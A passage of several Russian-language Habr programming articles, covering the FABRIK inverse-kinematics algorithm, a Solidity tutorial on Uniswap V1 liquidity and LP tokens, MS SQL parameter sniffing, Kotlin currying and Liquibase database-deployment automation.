lambda[i] = d[i] / r[i]
//Находим новую позицию узла p[i]
p[i+1] = (1 - lambda[i]) * p[i] + lambda[i] * t
}
}
else
{
//Дель достижима; т.о. b будет новой позицией узла p[1]
b = p[1]
//Проверяем, не выше ли дистанция между конечным узлом p[n] и
//целевой позицией t значения терпимости (tolerance)
DIFa = | p[n] - t |
while DIFa > tol do
{
//Этап 1 : прямое следование
//Устанавливаем конечный узел p[n] в качестве цели (вероятно, имелось ввиду "ставим на позицию цели" - прим. перев.)
p[n] = t
for i=n -1 , ..., 1 do
{
//Получаем расстояние r[i] между узлом p[i] и новой позицией p[i+1]
r[i] = | p[i+1] - p[i] |
lambda[i] = d[i] / r[i]
//Вычисляем новую позицию узла p[i]
p[i] = ( 1 - lambda[i]) * p[i+1] + lambda[i] * p[i]
}
//Этап 2: обратное следование
//Устанавливаем корневому элементу p[1] начальную позицию
p[i] = b
for i=1 ,..., n - 1 do
{
//Получаем дистанцию r[i] между узлом p[i+1] и позицией p[i]
r[i] = | p[i+1] - p[i] |
lambda[i] = d[i] / r[i]
//Получаем новую позицию p[i]
p[i+1] = (1-lambda[i]) * p[i] + lambda[i] * p[i+1]
}
DIFa = | p[n] - t |
}
}
```
### 2.FABRIK — новое эвристическое решение задачи IK
В этой части предоставляется суть метода FABRIK. Он использует позиции, уже рассчитанные в режимах прямого и обратного следования. FABRIK достигает минимизации ошибки путём единоразовой подстройки угла каждого узла. Т.е. происходит обход всей цепи, начиная с последнего узла, с подстройкой угла каждого обойдённого узла, после чего, происходит обход цепи уже в обратном направлении. Этот метод, в отличие от преобразования вращений, обращает задачу поиска позиции узла в задачу поиска точки на прямой; следовательно, можно сэкономить время и уменьшить количество вычислений. Предположим что множество **p[1],…, p[n]** является множеством позиций узлов манипулятора. Также, предположим что **p[1]** является корневым узлом и **p[n]** является конечным узлом, т.о. для простоты оставим один конечный узел. Цель представлена позицией **t** и начальной базовой позицией **b**. Метод FABRIK представлен в листинге выше и графической интерпретации полного цикла на рисунке слева, с одной целевой точкой и четырьмя узлами в цепи. Рассмотрим полный цикл алгоритма на рисунке:
* **a** — Начальные позиции манипулятора и цели.
* **b** — Двигаем конечный узел **p[4]** к цели.
* **c** — Обнаруживаем позицию **p'[3]**, лежащую на линии между позициями **p'[4]** и **p[3]**, на дистанции **d[3]** от точки **p'[4]**.
* **d** — Повторяем для всех узлов.
* **e** — Вторая стадия алгоритма: передвигаем корневой элемент с позиции **p'[1]** на его начальную позицию.
* **f** — Повторяем для всех узлов, но на этот раз начинаем с базы и двигаемся к конечному узлу. Алгоритм повторяется до тех пор, пока позиция конечного элемента не приблизится к цели на достаточное расстояние.
Более подробно:
Сначала считаются позиции между узлами (массив **d**), после чего идёт проверка, достижима ли целевая точка; считается расстояние между корневым узлом и целью (**dist**), и если эта дистанция меньше общей суммы дистанций между узлами, то цель достижима, иначе нет. Если цель достижима, полный цикл ограничивается двумя этапами. На первом этапе, алгоритм оценивает начальную позицию каждого узла, начиная с конечного элемента **p[n]** двигаясь к базе манипулятора **p[1]**. Таким образом, позволим целевой позиции быть позицией конечного узла, **p'[n]** = **t**. Получим прямую **l[n-1]**, лежащую на точках **p[n-1]** и **p'[n]**. Новая позиция узла с индексом **n-1**, **p'[n-1]**, лежит на этой линии на дистанции **d[n-1]** от **p'[n]**. Аналогично, новая позиция узла с индексом **n-2**, **p'[n-2]**, может быть вычислена используя прямую **l[n-2]**, лежащую на точках **p[n-2]** и **p'[n-1]** на дистанции **d[n-2]** от **p'[n-1]**. Алгоритм повторяется до тех пор, пока все не будут посчитаны новые позиции для всех узлов, включая конечный. В случаях, когда корневой элемент перемещается на необходимую позицию, FABRIK срабатывает как было описано, с тем лишь отличием, что новая позиция **p''[1]** корневого узла будет желаемой позицией, а не начальной.
После одной полной итерации, почти во всех случаях (по наблюдениям) конечный узел приблизится к цели. Процедура повторется необходимое количество раз, до тех пор, пока конечный узел не ляжет на позицию цели или не приблизится к ней на допустимую дистанцию. Реализация метода FABRIK без введения ограничителей сойдётся на любой целевой точке/цепи, если цель достижима. Однако, если цель находится дальше достанции, на которую может вытянуться цепь, необходимо прерывающее условие, которое сравнит прошлую и текущую позицию конечного узла, и которое прекратит выполнение алгоритма если смещение конечного узла будет меньше некоторого значения (эпсилона). Так-же, в особых случаях, алгоритм прерывается по истечению некоторого числа итераций (впрочем, пока-что такая ситуация не была встречена).
Для более быстрого результата и решения в несколько итераций, возможна оптимизация с применением Конформной Геометрической Алгебры (Conformal Geometric Algebra, далее CGA); CGA имеет преимущество на базовых фигурах, такие как сферы, прямые, плоскости и окружности, достаточно просто отображаемые алгебраическими обьектами. Поэтому, поиск позиции узла, находящегося между двумя известными узлами, может быть выражен пересечением двух сфер с центрами на соответствующих этим узлам позициям, и радиусом, равным расстоянию между позициям искомого узла и имеющимися; новая позиция узла будет лежать на ближайшей точке окружности, сформированной пересечением двух сфер. Другая простая оптимизация заключается в прямом построении прямой в направлении цели, когда последняя недоступна.
### 3. Модель с множеством конечных узлов
Как и в случае с одним конечным узлом, алгоритм разбивается на два этапа:
* Первый этап точно такой-же, только на этот раз начинается от каждого конечного узла с движением внутрь по цепи от этого узла, вплоть до суб-базы (вероятно, суб-базой является узел с несколькими примыкающими к нему рёбрами — прим. перев.). Таким образом, получим столько разных позиций для суб-базы, сколько соединённых с ней конечных узлов у нас имеется. Итоговая же позиция может быть взята как центроид (тобиш, просто среднее арифметическое — прим. перев.) из этих позиций. После этого, выполнение алгоритма продолжается в нормальном режиме, двигаясь от суб-базы до корня. Если суб-базы имеют собственные суб-базы, то по отношению к ним производятся аналогичные действия — так-же составляется список возможных позиций, после чего эта суб-база устанавливается на центроид из всего списка позиций.
* На втором этапе, обычный алгоритм применяется к каждому узлу, двигаясь всё дальше от корневого узла. При этом, каждая цепь должна быть обработана отдельно вплоть до конечного узла: чем больше суб-баз, тем больше повторений для каждой из них. Процесс повторяется до тех пор, пока конечные узлы не достигнут своей цели или пока не сработает условие прерывания.
### 4. Ограничители
Ну и наконец, самая вкусная часть этой статьи — рассчёты с применением ограничителей. Нужны они, как уже стоило догадаться, для большего сходства с реальными организмами. Сам же узел, обычно, характеризуется тремя степенями свободы. Вращение узла может быть характеризовано как «простое вращение» (2 степени свободы), которое отражает его конечную позицию, и вращение вокруг собственной оси (1 степень свободы). Таким образом, разделив передвижение узла на две такие фазы, и применив к ним ограничители, можно управлять положением узла. Сами же ограничения можно наложить подобным образом: т.к. алгоритм итеративный, можно применять ограничения вращений на каждой итерации алгоритма. Ограничители, при этом, не повлияют на сходимость алгоритма. Основная же идея применения ограничителей заключается в репозициионировании и переориентации узлов в пределах ограничений.
* **a** — Начальные конфигурации манипулятора и цели.
* **b** — Двигаем конечный узел **p[4]** к цели и ориентируем его на неё.
* **c** — Обнаруживаем позицию **p'[3]**, лежащую на линии между позициями **p'[4]** и **p[3]**, на дистанции **d[3]** от точки **p'[4]**.
* **d** — Переориентируем узел на позиции **p'[3]** таким образом, чтобы он смотрел вдоль ребра, соединяющего **p'[3]** и **p'[4]**.
* **e** — Вычисление ограничивающего эллипса: разрешённые позиции находятся в затенённом участке. Ни одна из вершин на этом этапе никуда не двигается.
* **f** — Узел **p[2]** перемещается на позицию **p^[2]**, который является ближайшей позицией на затенённом эллипсе, удостоверяясь таким образом в том, что новая позиция **p^[2]** будет лежать в допустимых пределах.
* **g** — Двигаем узел **p^[2]** на точку **p'[2]**, чтобы сохранить длинну ребра.
* **h** — Переориентируем **p'[2]**, чтобы удовлетворить ограниение ориентации.
Эта процедура повторяется для всех узлов, в прямом и обратном порядке, аналогично тому, как в варианте без ограничений осуществлялись перемещения. *При этом, ограничение «эллипс», вероятно, является характеристикой ребра, а не узла, т.о. на второй фазе перемещаться на эллипс должен узел **p[3]** — прим. перев.* | https://habr.com/ru/post/222689/ | null | ru | null |
# Программирование DeFi: Uniswap. Часть 2
Введение
--------
Это вторая часть серии статей о программировании DeFi смарт-контрактов. [В предыдущей части](https://habr.com/ru/post/572034/) мы впервые соприкоснулись с Uniswap, его основной механикой и начали создавать смарт-контракт Биржи, который может принимать ликвидность от пользователей, рассчитывать суммы вывода и выполнять обмены.
Сегодня мы собираемся закончить реализацию Uniswap V1. Хотя это не будет полная копия Uniswap V1, но она будет иметь все основные функции.
Эта часть наполнена новым кодом, поэтому давайте перейдем непосредственно к нему. *Чтобы увидеть полный код проекта* [*нажмите здесь*](https://github.com/Jeiwan/zuniswap/tree/part_2)*.*
Увеличение ликвидности
----------------------
В предыдущей части мы говорили о том, что наша реализация `addLiquidity` не совершена. На это была причина, и сегодня мы завершим разработку этой функции.
Пока что функция выглядит так:
```
function addLiquidity(uint256 _tokenAmount) public payable {
IERC20 token = IERC20(tokenAddress);
token.transferFrom(msg.sender, address(this), _tokenAmount);
}
```
Какая в ней проблема? Функция позволяет в любой момент добавить произвольное количество ликвидности.
Как вы помните, обменный курс рассчитывается как соотношение резервов:
Где Px и Py - цены eth и токена; x и y - запасы eth и токена.
Мы также узнали, что обмен токенов изменяет резервы нелинейным образом, что влияет на цены, и что арбитражники получают прибыль, балансируя цены таким образом, чтобы они совпадали с ценами на крупных централизованных биржах.
Проблема нашей реализации заключается в том, что наш код позволяет существенно изменять цены в любой момент времени. Или, другими словами, **текущая реализация функции не обеспечивает соблюдение соотношения текущих резервов и новой ликвидности**. Это является проблемой, потому что это позволяет манипулировать ценами, а мы хотим, чтобы цены на децентрализованных биржах были максимально близки к ценам на централизованных биржах. И мы хотим, чтобы наши смарт-контракты Бирж выступали в качестве ценовых оракулов.
Таким образом, мы должны гарантировать, что добавляемая ликвидность размещается в той же пропорциональном соотношении eth-токен, которая уже установилась в пуле. В то же время мы хотим, чтобы на этапе создания Биржи ликвидность поступала в произвольной пропорции eth-токен, когда изначальные резервы пусты, т.е. когда пул еще не инициализирован. Это важно, так как **именно в этот момент цена eth-токен устанавливается в первый раз.**
Теперь **addLiquidity** будет иметь две ветви:
1. Если это новая Биржа (без ликвидности, пул пуст), позволить завести произвольное количество ликвидности.
2. В противном случае, соблюсти установленную пропорцию резервов, когда есть ликвидность.
Первая ветвь остается без изменений:
```
if (getReserve() == 0) {
IERC20 token = IERC20(tokenAddress);
token.transferFrom(msg.sender, address(this), _tokenAmount);
```
Вторая ветвь это уже новый код:
```
} else {
uint256 ethReserve = address(this).balance - msg.value;
uint256 tokenReserve = getReserve();
uint256 tokenAmount = (msg.value * tokenReserve) / ethReserve;
require(_tokenAmount >= tokenAmount, "insufficient token amount");
IERC20 token = IERC20(tokenAddress);
token.transferFrom(msg.sender, address(this), tokenAmount);
}
```
Единственное отличие заключается в том, что мы депонируем не все токены, предоставленные пользователем, а только сумму, рассчитанную на основе текущего соотношения резервов. Чтобы получить сумму, мы умножаем соотношение (tokenReserve / ethReserve) на количество депонированных eth. Если пользователь вложил меньше этой суммы, будет выдана ошибка.
Это позволит сохранить цену при добавлении ликвидности в пул.
LP-токены
---------
Мы ещё не обсуждали эту концепцию, но она является важной частью дизайна Uniswap.
Нам необходимо иметь способ вознаграждения поставщиков ликвидности за их вклад. Если у них не будет мотивации, то они не будут предоставлять ликвидность, потому что никто не станет вкладывать свои eth\токены в сторонний смарт-контракт просто так. Более того, вознаграждение поставщикам ликвидности не должно выплачиваться нами (разработчиками), потому что для этого нам (разработчикам) пришлось бы искать инвестиции или выпускать свой инфляционный токен.
Единственным хорошим решением является взимание небольшой комиссии с каждого обмена токенов и распределение накопленной комиссии между поставщиками ликвидности. Это также кажется вполне обоснованным: пользователи (трейдеры) платят за услуги (ликвидность), предоставляемые другими людьми.
Чтобы вознаграждение было справедливым, мы должны вознаграждать поставщиков ликвидности пропорционально их вкладу, т.е. количеству ликвидности, которую они предоставляют. Если кто-то предоставил 50% ликвидности пула, он должен получить 50% накопленных средств. В этом есть смысл, верно?
Сейчас эта задача кажется довольно сложной. Однако есть элегантное решение: токены поставщиков ликвидности или LP-токены.
LP-токены - это, по сути, токены ERC20, автоматически выпущенные и переданные поставщикам ликвидности в обмен на их вклад в ликвидность. По сути, **LP-токены - это акции**:
1. Вы получаете LP-токены в обмен на вашу ликвидность, которую вы предоставили в пул.
2. Количество получаемых вами LP-токенов пропорционально доле вашей ликвидности в резервах пула.
3. Комиссионные распределяются пропорционально количеству принадлежащих вам LP-токенов.
4. LP-токены можно обменять обратно на ликвидность и получить накопленные комиссии.
Хорошо, как мы будем рассчитывать количество выпущенных LP-токенов в зависимости от объема предоставленной ликвидности? Это не так очевидно, потому что есть некоторые требования, которым мы должны соответствовать:
1. Каждая выпущенная акция должна быть всегда правильной. Если кто-то после меня добавляет или удаляет из пула ликвидность, моя доля должна оставаться соответствующей моему вкладу в общем объеме ликвидности.
2. Операции записи (например, сохранение новых данных или обновление существующих данных в смарт-контракте) в Ethereum очень дороги. Поэтому мы хотим снизить затраты на обслуживание LP-токенов (т. е. мы не хотим запускать функции, которое регулярно пересчитывает и обновляют пропорциональное соотношение долей).
Представьте, что мы выпускаем много токенов (скажем, 1 миллиард) и распределяем их между всеми поставщиками ликвидности. Если мы всегда распределяем все токены (первый поставщик ликвидности получает 1 млрд, второй - его долю и т.д.), то мы вынуждены пересчитывать в последствии выпущенные доли, что дорого. Если мы изначально распределим только часть токенов, то рискуем попасть в лимит предложения, что в конечном итоге вынудит перераспределить имеющиеся доли.
Единственным хорошим решением является полное отсутствие лимитов по запасам и выпуску новых токенов при добавлении новой ликвидности. Это позволяет бесконечно наращивать LP-токены, и, если мы используем правильную формулу, все выпущенные LP-токены останутся в правильном соотношении к общему объему ликвидности (будут пропорционально увеличиваться) при добавлении или удалении ликвидности. К счастью, инфляция не снижает стоимость LP-токенов, потому что они всегда подкреплены некоторым количеством ликвидности, которое не зависит от количества выпущенных LP-токенов.
Теперь последняя деталь в этой головоломке: как подсчитать количество LP-токенов, которые нужно выпустить при внесении ликвидности?
В смарт-контракте Биржи сохраняются резервы eth и токенов. Но как мы будем рассчитывать кол-во LP-токенов? На основе общего резерва? Или только одного из них (eth, токен)? Uniswap V1 рассчитывает количество LP-токенов пропорционально резерву eth, но Uniswap V2 может проводить обмен только между токенами (не между eth и токеном), поэтому неясно, какой расчёт выбирать. Давайте придерживаться того, что делает Uniswap V1, а позже мы посмотрим, как решить эту проблему, когда есть два токена ERC20.
Это уравнение показывает, как рассчитывается количество новых LP-токенов в зависимости от количества вложенных eth:
Формула чеканки LP-токеновКаждый поставщик ликвидности отчеканивает себе LP-токены пропорционально доле размещённых eth в общем резерве eth. Это непросто, попробуйте подставить разные числа в это уравнение и посмотрите, как изменится общая сумма. Например, какими будут `amountMinted` и `totalAmount`, если кто-то депонирует определенное количество eth в `etherReserve`? Остаются ли выпущенные до этого акции правильными (правильное соотношение к обновлённому размеру ликвидности)?
Перейдём к коду.
Прежде чем модифицировать `addLiquidity`, нам нужно сделать наш смарт-контракт Exchange контрактом ERC20 и изменить его конструктор:
```
contract Exchange is ERC20 {
address public tokenAddress;
constructor(address _token) ERC20("Zuniswap-V1", "ZUNI-V1") {
require(_token != address(0), "invalid token address");
tokenAddress = _token;
}
}
```
Наши LP-токены будут иметь имя и символ. Не стесняйтесь взять этот код и улучшить его.
Теперь обновим `addLiquidity`: при добавлении начальной ликвидности количество выпущенных LP-токенов равно количеству внесенных eth.
```
function addLiquidity (uint256 _tokenAmount)
public
payable
returns (uint256)
{
if (getReserve() == 0) {
...
uint256 liquidity = address(this).balance;
_mint(msg.sender, liquidity);
return liquidity;
```
Дополнительная ликвидность выпускает LP-токены пропорционально количеству вложенных eth:
```
} else {
...
uint256 liquidity = (totalSupply() * msg.value) / ethReserve;
_mint(msg.sender, liquidity);
return liquidity;
}
}
```
Всего несколько строк, и у нас теперь есть LP-токены!
Сборы-поборы
------------
Теперь мы готовы к сбору комиссионных по производимым в пуле обменам. Перед этим нам нужно ответить на несколько вопросов:
1. Хотим ли мы брать комиссионные в eth или токенах? Хотим ли мы выплачивать вознаграждение поставщикам ликвидности в eth или токенах?
2. Как собрать небольшую фиксированную плату с каждого обмена?
3. Как распределить накопленные комиссии между поставщиками ликвидности пропорционально их вкладу?
Опять же, это может показаться сложной задачей, но у нас уже есть все для ее решения.
Давайте подумаем над последними двумя вопросами. Мы можем ввести дополнительный платеж, который отправляется вместе со сделкой обмена. Такие платежи накапливаются в фонде, из которого любой поставщик ликвидности может изъять сумму, пропорциональную своей доле. Это звучит как разумная идея, и, как ни удивительно, она уже почти реализована:
1. Трейдеры уже отправляют eth/токены в смарт-контракт Биржи. Вместо того чтобы запрашивать комиссию, мы можем просто вычесть ее из eth/токенов, которые отправляются на смарт-контракт.
2. У нас уже есть фонд - это резервы Биржи! Резервы могут быть использованы для накопленных сборов. Это также означает, что **резервы будут расти со временем**, так что формула постоянного соотношения торгуемых пар не такая уж и постоянная! Однако это не делает ее недействительной: комиссия мала по сравнению с резервами, и нет способа манипулировать ею, чтобы попытаться существенно изменить резервы.
3. И теперь у нас есть ответ на первый вопрос: комиссии выплачиваются в валюте торгуемого актива. Поставщики ликвидности получают сбалансированное количество eth и токенов плюс долю накопленных комиссий, пропорциональную доле их LP-токенов.
Вот и все! Переходим к коду.
Uniswap берет 0,03% комиссии с каждого обмена. Мы возьмем 1%, просто чтобы было легче увидеть разницу в тестах. Добавить комиссию в смарт-контракт так же просто, как добавить пару множителей в функцию `getAmount`:
```
function getAmount(
uint256 inputAmount,
uint256 inputReserve,
uint256 outputReserve
) private pure returns (uint256) {
require(inputReserve > 0 && outputReserve > 0, "invalid reserves");
uint256 inputAmountWithFee = inputAmount * 99;
uint256 numerator = inputAmountWithFee * outputReserve;
uint256 denominator = (inputReserve * 100) + inputAmountWithFee;
return numerator / denominator;
}
```
Поскольку Solidity не поддерживает деление с плавающей запятой, нам придется прибегнуть к хитрости: числитель и знаменатель умножаются на степень 10, а сбор вычитается из множителя в числителе. Обычно мы вычисляем это так:
В Solidity мы должны делать это именно так:
Но это все равно одно и то же.
Удаление ликвидности
--------------------
Наконец, последняя функция в нашем списке: `removeLiquidity`.
Для удаления ликвидности мы снова можем использовать LP-токены: нам не нужно помнить суммы, депонированные каждым поставщиком ликвидности, и мы можем рассчитать количество удаленной ликвидности на основе доли LP-токенов.
```
function removeLiquidity(uint256 _amount)
public
returns (uint256, uint256)
{
require(_amount > 0, "invalid amount");
uint256 ethAmount = (address(this).balance * _amount) / totalSupply();
uint256 tokenAmount = (getReserve() * _amount) / totalSupply();
_burn(msg.sender, _amount);
payable(msg.sender).transfer(ethAmount);
IERC20(tokenAddress).transfer(msg.sender, tokenAmount);
return (ethAmount, tokenAmount);
}
```
Когда ликвидность изымается, она возвращается как в eth, так и в токенах, и их количество, конечно же, уравновешивается. Именно этот момент и приводит к [непостоянным потерям](https://pintail.medium.com/uniswap-a-good-deal-for-liquidity-providers-104c0b6816f2): соотношение резервов меняется со временем вслед за изменениями их цен в российских рублях. Когда ликвидность удаляется, баланс может отличаться от того, каким он был, когда ликвидность была внесена. Это означает, что вы получите разное количество eth и токенов, а их общая цена может быть ниже, чем если бы вы просто держали их в кошельке.
Для расчета сумм мы умножаем резервы на долю LP-токенов:
Обратите внимание, что LP-токены сгорают каждый раз, когда ликвидность снимается. LP-токены обеспечены только депонированной ликвидностью.
LP-вознаграждения и непостоянные потери
---------------------------------------
Давайте напишем тест, который воспроизводит полный цикл добавления ликвидности, обмена токенов, накопления комиссии и удаления ликвидности:
1. Сначала поставщик ликвидности вносит 100 eth и 200 токенов. Таким образом, 1 токен равен 0,5 eth, а 1 eth равен 2 токенам.
`exchange.addLiquidity(toWei(200), { value: toWei(100) });`
2. Пользователь обменивает 10 eth и ожидает получить не менее 18 токенов. Фактически он получил 18,0164 токенов. Сюда входит проскальзывание (торгуемые суммы относительно велики) и комиссия в размере 1%.
`exchange.connect(user).ethToTokenSwap(toWei(18), { value: toWei(10) });`
3. Поставщик ликвидности затем удаляет свою ликвидность:
`exchange.removeLiquidity(toWei(100));`
4. Поставщик ликвидности получил 109,9 eth (с учетом комиссии за транзакцию) и 181,9836 токенов. Как видите, эти цифры отличаются от тех, что были внесены: мы получили 10 eth, которыми торговал пользователь, но в обмен пришлось отдать 18,0164 токенов. Однако эта сумма включает в себя 1% комиссию, которую пользователь заплатил нам. Поскольку поставщик ликвидности предоставил всю ликвидность, он получил все комиссионные.
Заключение
----------
Надеюсь, LP-токены больше не являются для вас загадкой.
Однако мы еще не закончили: Смарт-контракт Биржи завершен, но нам также необходимо реализовать смарт-контракт Фабрики (Factory), который служит в качестве реестра Бирж и моста, соединяющего несколько Бирж и делающего возможным обмен токенов на токены. Мы реализуем его в следующей части!
### Серия статей
1. [Программирование DeFi: Uniswap. Часть 1](https://habr.com/ru/post/572034/)
2. Программирование DeFi: Uniswap. Часть 2
3. [Программирование DeFi: Uniswap. Часть 3](https://habr.com/ru/post/572682/)
Полезные ссылки
---------------
1. [Полный код этой части](https://github.com/Jeiwan/zuniswap/tree/part_2)
2. [Техническое описание Uniswap V1](https://hackmd.io/@HaydenAdams/HJ9jLsfTz) | https://habr.com/ru/post/572126/ | null | ru | null |
# MS SQL 2005, Parameter Sniffing, тормозящий Stored Procedure
Недавно столкнулся с проблемой: скрипт запущенный в Query Analyzer отрабатывал за секунду, а он же в виде хранимой процедуры аж 50 секунд. Оказалось всему виной Parameter Sniffing который призван… оптимизировать запрос. [:)](http://lurkmore.ru/%D0%B2%D0%BD%D0%B5%D0%B7%D0%B0%D0%BF%D0%BD%D0%BE)
SQL сервер при компиляции хранимки создает Execution Plan, где предполагает, что входные параметры процедуры будут определенного вида. Это и называется Parameter Sniffing.
Когда же параметры оказываются несколько иными, то Execution Plan может оказаться несколько неподходящим для оптимального выполнения запроса.
Наиболее простой метод решения проблемы — отключить Parameter Sniffing. Это делается следующим образом: создаются локальные переменные в теле процедуры и им присваиваются значения входных параметров.
> `ALTER PROCEDURE [dbo].[REPORT\_USERS\_BRANCHES]
>
>
>
> @branchId INT,
>
> @branchName NVARCHAR(100) OUTPUT,
>
> @filterByPaymentActivity VARCHAR(50),
>
> @dateFrom DATETIME,
>
> @dateTo DATETIME
>
>
>
> AS
>
>
>
> DECLARE @dtFrom DATETIME, @dtTo DATETIME, @filter VARCHAR(50), @bId INT
>
> SET @bId = @branchId
>
> SET @dtFrom = @DateFrom
>
> SET @dtTo = @DateTo
>
> SET @filter = @filterByPaymentActivity
>
> ...
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Так же можно использовать опции оптимизации(OPTION(OPTIMIZE FOR ...)), указывать при создании процедуры, что нужно каждый раз рекомпилить процедуру (WITH RECOMPILE).
Но эти варианты мне не помогли.
Есть еще метод с деревом решений (Decision Tree SP), но это уже совсем монструозно.
п.с.: уверен, что это всего лишь костыль, а не правильное решение проблемы, но это все на что хватило меня как программиста. Возможно DBA посоветуют тут лучший путь? | https://habr.com/ru/post/109580/ | null | ru | null |
# Функциональный Kotlin. Часть 2. Каррированные функции и где они обитают
Введение
--------
В [прошлой статье](https://habr.com/ru/post/539992/) мы рассмотрели основу современного функционального программирования - функции высшего порядка. Настало время познакомиться с ними чуть глубже, узнав про каррирование.
Определение
-----------
Если говорить простым языком, каррирование это преобразование функции нескольких аргументов к набору функций одного аргумента. Таким образом, функция `f` будет преобразована в `fCurried`:
```
fun f(a: A, b: B, c: C) { ... }
fun fCurried(a: A) = fun(b: B) = fun(c: C) { f(a,b,c) }
```
Тут мы используем анонимные функции, делая возвращаемым значением первой функции `(B) → (C) → Unit`, а для второй `(C) → Unit`.
Такой синтаксис кажется немного странным, верно? Для ООП-языков он и правда необычен, однако для людей использующих, например, Haskell, эта конструкция тривиальна, так как в нем каррированными являются вообще все функции.
Выглядит это примерно так:
```
f :: A -> B -> C -> Nothing
```
Что-то похожее мы увидим и на Kotlin, если определим функцию не стандартным способом, а как переменную:
```
val g: (A, B, C) -> Unit = { ... }
val gCurried: (A) -> (B) -> (C) -> Unit = {
a: A -> {
b: B -> {
c: C -> g(a,b,c)
}
}
}
```
Применяем каррирование правильно
--------------------------------
Раз уж я упомянул Haskell, в случае с ним сам компилятор заточен под вычисления именно с такими функциями, однако Kotlin такими плюсами не обладает. Так зачем же они нам?
Давайте представим ситуацию, что нам нужно написать функцию от нескольких аргументов, часть из которых будет часто повторяться:
```
fun foo(a: A, b: B, c: C) = { ... }
```
Очевидно, что прописывать все аргументы каждый раз - не очень хороший подход. Что же делать?
В случае, если мы нуждаемся только в одном наборе таких аргументов, Kotlin предоставляет нам механизм определения аргументов по умолчанию. Однако гораздо чаще мы будем сталкиваться с ситуацией, когда таких наборов несколько.
Опыт работы в объектно ориентированной парадигме подсказывает очевидное, но некачественное решение:
```
class Bar(val a: A, val b: B) {
fun foo(c: C) { ... }
}
```
Проблема такого подхода в том, что нам будет необходимо создавать и хранить несколько экземпляров класса.
Тут-то на помощь и приходит **каррирование** - оно позволяет нам частично определить функцию и использовать ее позднее без создания лишних объектов, усложняющих понимание кода:
```
val f = foo(a1, b1)
val g = foo(a2, b2)
// ...
if (expression) f(c1) else g(c1)
// ...
if (expression) f(c2) else g(c2)
```
А что же "под капотом"?
-----------------------
По сути между различными реализациями каррирования разницы почти нет, разве что можно упереться в ограничения конкретно ФВП или обычных функций, разница между которыми пусть и незначительна, но все же присутствует. Тем не менее, мы в любом случае имеем дело с объектами класса`KFunction`
P.S.
----
В этот раз статья вышла довольно короткой, но и сама тема достаточно узка. Следующая (на любую из двух тем в голосовании) будет по объему на уровне первой. | https://habr.com/ru/post/649817/ | null | ru | null |
# Как автоматизировать развертывание баз данных с помощью Liquibase?
> Перевод материала подготовлен в рамках курса [**«Экспресс-курс по управлению миграциями (DBVC)».**](https://otus.pw/3yKP/)
>
>
---
[Liquibase](http://www.liquibase.org/) — это инструмент управления изменениями в базе данных. С его помощью вы можете отслеживать изменения в базе данных, сделанные с помощью [SQL](https://www.liquibase.org/documentation/sql_format.html) (или [XML](https://www.liquibase.org/documentation/xml_format.html)) скриптов. Эти скрипты могут быть добавлены в системы контроля версий, такие как git.
В данной статье мы рассмотрим, как автоматизировать развертывание баз данных с помощью Liquibase. Автоматизация может быть выполнена с помощью
1. Пайплайн Jenkins
2. Shell-скриптов
Я не буду говорить ни об одном из этих двух способов, поскольку это не является темой данной статьи — только для того, чтобы все было просто и понятно.
Существует два способа записи наборов изменений в Liquibase, т.е. XML и SQL. Я выбрал SQL, чтобы избежать записи соответствующих изменений XML для каждого выполняемого нами обновления SQL. Таким образом, тот же SQL-файл, который мы пишем для разработки, используется для развертывания Liquibase.
Обратите внимание, что я протестировал эти шаги только для базы данных Postgre, однако те же шаги можно повторить для любой базы данных. Также убедитесь, что [на вашем](https://medium.com/@xameeramir/how-to-install-automated-database-deployment-tool-liquibase-3c21f442698f) компьютере [настроен Liquibase](https://medium.com/@xameeramir/how-to-install-automated-database-deployment-tool-liquibase-3c21f442698f) .
Выполните приведенные ниже шаги:
#### Создать файл changelog (журнал изменений)
Создать XML-файл с именем [liquibase-changelog.xml](https://www.liquibase.org/documentation/xml_format.html) (имя может быть любым!) со следующим содержимым:
```
xml version="1.0" encoding="UTF-8"?
...more tags goes here...
```
Обратите внимание на тег `include` в приведенном выше XML. Каждый файл SQL changeset (набор изменений), который должен отслеживаться Liquibase, должен быть зарегистрирован в этом файле changelog (журнал изменений).
#### Создание наборов изменений (changeset) SQL
Добавьте файлы SQL changeset в выбранное вами место. Синтаксис [SQL](https://www.liquibase.org/documentation/sql_format.html), который работает с Liquibase, следующий:
```
--liquibase formatted sql
--changeset :--rollback
--rollback
```
Рассмотрим пример:
```
--liquibase formatted sql
--changeset xameeramir:create-test-table
CREATE TABLE IF NOT EXISTS testTable(
columnName1 VARCHAR (355)
);
--rollback DROP TABLE
--rollback testTable
```
Обратите внимание, что файл SQL changeset отличается от файла XML changelog.
#### Регистрация SQL changeset в XML-файле changelog
Включите файл SQL changeset в файл changelog, который мы создали ранее, со следующими тегами XML:
```
/.sql” relativeToChangelogFile="true" />
```
Добавьте столько SQL changesets и зарегистрируйте их в файле changelog, сколько вам нужно.
#### Триггер в Liquibase для обновления базы данных
Просто выполните приведенную ниже команду:
```
liquibase --changeLogFile=/.xml --username= --password= --classpath=/postgresql-42.2.5.jar --url=jdbc:postgresql:/// update
```
Classpath (путь к классам) - это драйвер JDBC, который мы настроили в [предыдущей публикации](https://medium.com/@xameeramir/how-to-install-automated-database-deployment-tool-liquibase-3c21f442698f). Postgresql-42.2.5.jar - это JDBC-драйвер, предназначенный для **Postgres**, и его можно будет заменить на базу данных по вашему выбору без каких-либо специальных преобразований на этих этапах.
Приведенная выше команда может быть использована в shell-скриптах или в пайплайне CI/CD для запуска обновлений базы данных.
#### Автоматизация CI/CD
После того, как вышеуказанная конфигурация установлена - автоматизация может быть выполнена либо на клиенте с помощью shell-скриптов, либо на сервере с помощью shell-скриптов или имплементации CI/CD.
Предположим, что имплементация CI/CD, которая запускает развертывание Liquibase, *означает выполнение команды триггер (trigger) Liquibase, приведенной выше*, при каждом git push в ветку DEVELOP (или любую другую).
Первым предварительным условием будет наличие файла liquibase-changelog.xml. Допустим, мы сохраним его на уровне ~/ с операторами include, указывающими на папку, в которой находятся changeset SQL. Следующий рабочий процесс позволит автоматизировать развертывание базы данных с помощью пайплайна CI/CD:
* Поместите файл SQL changeset в репозиторий функций.
* Отправьте запрос на исправление для ветки DEVELOP
* После достоверной проверки и согласования объедините ветку feature с веткой DEVELOP.
* Имплементация CI/CD, настроенная на сервере DEVELOP, запустит Liquibase для обновления базы данных.
* Liquibase автоматически будет выполнять только новые файлы (любые уже выполненные файлы не будут запущены повторно).
#### Автоматизация с помощью shell-скриптов
